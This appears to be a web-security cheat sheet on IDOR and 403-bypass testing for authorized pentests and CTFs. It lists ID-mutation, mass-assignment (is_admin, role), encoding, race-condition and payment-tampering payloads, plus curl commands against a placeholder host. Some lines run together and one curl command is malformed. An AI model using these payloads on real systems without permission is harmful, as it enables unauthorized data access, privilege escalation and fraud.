IDOR & 403 Bypass
Insecure Direct Object Reference and 403 Forbidden bypass techniques
Table of Contents
This document is for authorized security testing and CTF use only. Do not use on systems you do not have permission to test.
Pro Tips
- Always obtain proper authorization before testing
- Use on systems you have explicit permission to test
- Keep detailed logs of all testing activities
Follow this methodology for effective IDOR and 403 bypass testing.
Commands & Payloads
Record a baseline: HTTP status, content-length, and response body for a legitimate requestTest one mutation at a time and observe differencesUse Burp, replay tools, Intruder, or automation scripts to rapidly iterate permutationsPro Tips
- Always record baseline before making changes
- Compare HTTP status, content-length, and response body
- Use diff tools to identify subtle differences
Try simple changes to the ID field inside JSON, forms, or query string.
Commands & Payloads
{"user":{"id":123}}{"user":{"id":"123"}}{"user":{"id":"0123"}}{"user":{"id": 123 }}{"user":{"id":9223372036854775807}}{"user":{"id":-123}}Pro Tips
- Watch for HTTP status changes
- Compare content-length differences
- Look for body diffs in responses
Send the same parameter in multiple places or duplicate keys inside JSON.
Commands & Payloads
GET /endpoint?user[id]=123 (with JSON body user[id]=456){"user":{"id":123}, "user":{"id":456}}{"user":{"id":123}, "data":{"user":{"id":456}}}Pro Tips
- Auth layer may read one instance while read layer reads another
- Test all permutations of duplicate parameters
- Use Burp Intruder for bulk testing
Try alternative field names that may map to the same backend field.
Commands & Payloads
{"user":{"id":123}}{"user":{"user_id":123}}{"user":{"customer_id":123}}{"actor_id":123}{"owner":123}Pro Tips
- Backend may use different field names for the same data
- Check API documentation for field mappings
- Test all possible field variations
Change the Content-Type header and send the same structure in different formats.
Commands & Payloads
curl -X POST -H "Content-Type: application/json" -d '{"user":{"id":123}}' https://target.com/endpointcurl -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "user[id]=123" https://target.com/endpointcurl -X POST -H "Content-Type: multipart/form-data" -d '{"user":{"id":123}}' https://target.com/endpointPro Tips
- Different parsers may handle data differently
- Test all Content-Type variations
- Look for parsing differentials
Encoding may make the value interpreted differently or bypass filters.
Commands & Payloads
URL encode: /users/%31%32%33Double encode: %2531%2532%2533Base64 wrapper: {"id":"MTIz"}Percent-encoded inside JSON: {"id":"%31%32%33"}Pro Tips
- Test various encoding methods
- Backend may decode differently than expected
- Try multiple encoding layers
Insert zero-width characters or lookalike digits to confuse string checks.
Commands & Payloads
{"user":{"id":"123"}} # zero-width space{"user":{"id":"١٢٣"}}{"user":{"id":"١23"}}Pro Tips
- Unicode characters may bypass validation
- Test homoglyphs for common letters
- Use online tools to generate homoglyphs
Try large integers, negatives, and scientific notation.
Commands & Payloads
{"user":{"id":9223372036854775807}}{"user":{"id":-1}}{"user":{"id":4.03e2}}{"user":{"id":"403"}}Pro Tips
- Type coercion may cause unexpected behavior
- Try boundary values
- Test for integer overflow scenarios
Send conflicting IDs in the URL path and request body.
Commands & Payloads
GET /users/123 (body: {"user":{"id":456}})POST /orders/999 (body: {"order":{"id":1000}})Pro Tips
- One value may be used for auth, another for retrieval
- Test URL path parameters separately from body
- Check if both are validated
Target ORM binding by sending additional properties or nested objects.
Commands & Payloads
{"user":{"id":123, "is_admin":true}}{"user":{"id":123, "profile":{"owner_id":456}}}{"user":{"id":123, "attributes":{"role":"admin"}}}Pro Tips
- Backend may bind arbitrary fields into DB model
- Look for is_admin, role, or permission fields
- Test with common privilege escalation fields
Change inner references inside arrays or nested objects.
Commands & Payloads
{"id":123, "references":[{"id":456}]}-> {"id":123, "references":[{"id":789}]}Pro Tips
- Ownership checks may not traverse nested references
- Test arrays and nested objects
- Check each level of nesting
If the endpoint accepts JSON queries, try varying IDs within the query field.
Commands & Payloads
{ "query": "{ user(id:123) { name } }" }{ "query": "{ user(id:456) { name } }" }{ "query": "mutation { updateUser(id:123, isAdmin:true) { id } }" }Pro Tips
- Observe differences between resolvers
- Check field-level authorization
- Test both queries and mutations
Send concurrent requests to exploit Time-of-Check-Time-of-Use vulnerabilities.
Commands & Payloads
1. POST to change resourceA ownership2. Immediately GET resourceA using manipulated IDPro Tips
- Use concurrency tools or scripts
- Try to trigger race windows
- Test with different timing intervals
Send empty JSON or omit fields to test validators and error handling.
Commands & Payloads
{}{"user":{}}{"id":null}Pro Tips
- Test how application handles empty data
- Check for null pointer issues
- Observe error message differences
Insert spaces, newlines, or padding inside values.
Commands & Payloads
{"id":"123 "}{"id":" 123 "}{"id":"123\n"}Pro Tips
- Whitespace may bypass string validation
- Test for trimming issues
- Check if whitespace is stripped
Test email subaddressing for bypass or routing manipulation.
Commands & Payloads
user+tag@example.comuser%2Btag@example.comPro Tips
- Email routing may be affected by plus tags
- Some apps validate email differently
- Test for account takeover possibilities
Use localhost, IP variations, or domain mutations to test hostname validation.
Commands & Payloads
localhost127.0.0.1.example.com0x7f000001Pro Tips
- Test hostname validation logic
- Look for DNS rebinding issues
- Try various IP representations
Amount manipulation techniques for payment bypass.
Commands & Payloads
{"amount":403}{"amount":"403"}{"amount":4.03e2}{"amount":-403}{"amount":40300, "currency":"cents"}{"amount":403, "productId":456}Pro Tips
- Check if server recalculates price from productId
- Test for currency conversion issues
- Look for integer overflow in amounts
Copy these payloads for Burp Intruder or wfuzz testing.
Commands & Payloads
123"123"01239223372036854775807-14.03e2MTIz%31%32%33%2531%2532%2533{"id":123}{"user":{"id":123}}user[id]=123{"user":{"id":123}, "user":{"id":456}}{"user":{"user_id":123}}{"user":{"id":123, "is_admin":true}}Pro Tips
- Use as {{PAYLOAD}} in Burp Intruder
- Replace ID values in requests
- Test each payload systematically
Ready-to-use curl commands for testing.
Commands & Payloads
curl -X POST -H "Content-Type: application/json" -d '{"user":{"id":123}}' https://target.com/endpointcurl -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "user[id]=123" https://target.com/endpointcurl -X POST 'https://target.com/endpoint?user[id]=123' -H 'Content-Type: application/json' -d '{"user":{"id":456}}'curl -X POST -H 'Content-Type: application/json' -d '$'{"user":{"id":"123"}}' https://target.com/endpointPro Tips
- Modify URLs and payloads for your target
- Add authentication headers as needed
- Use -v flag for verbose output
Follow this skeptical approach for comprehensive testing.
Commands & Payloads
Capture baseline (status, length, body)Change one variable at a timeCompare diffs using diff, jq -C, or automated toolsTry combined permutationsKeep detailed logs of every attemptPro Tips
- Always test systematically
- Document every test and result
- Use automation for large payload sets
For educational and authorized testing purposes only.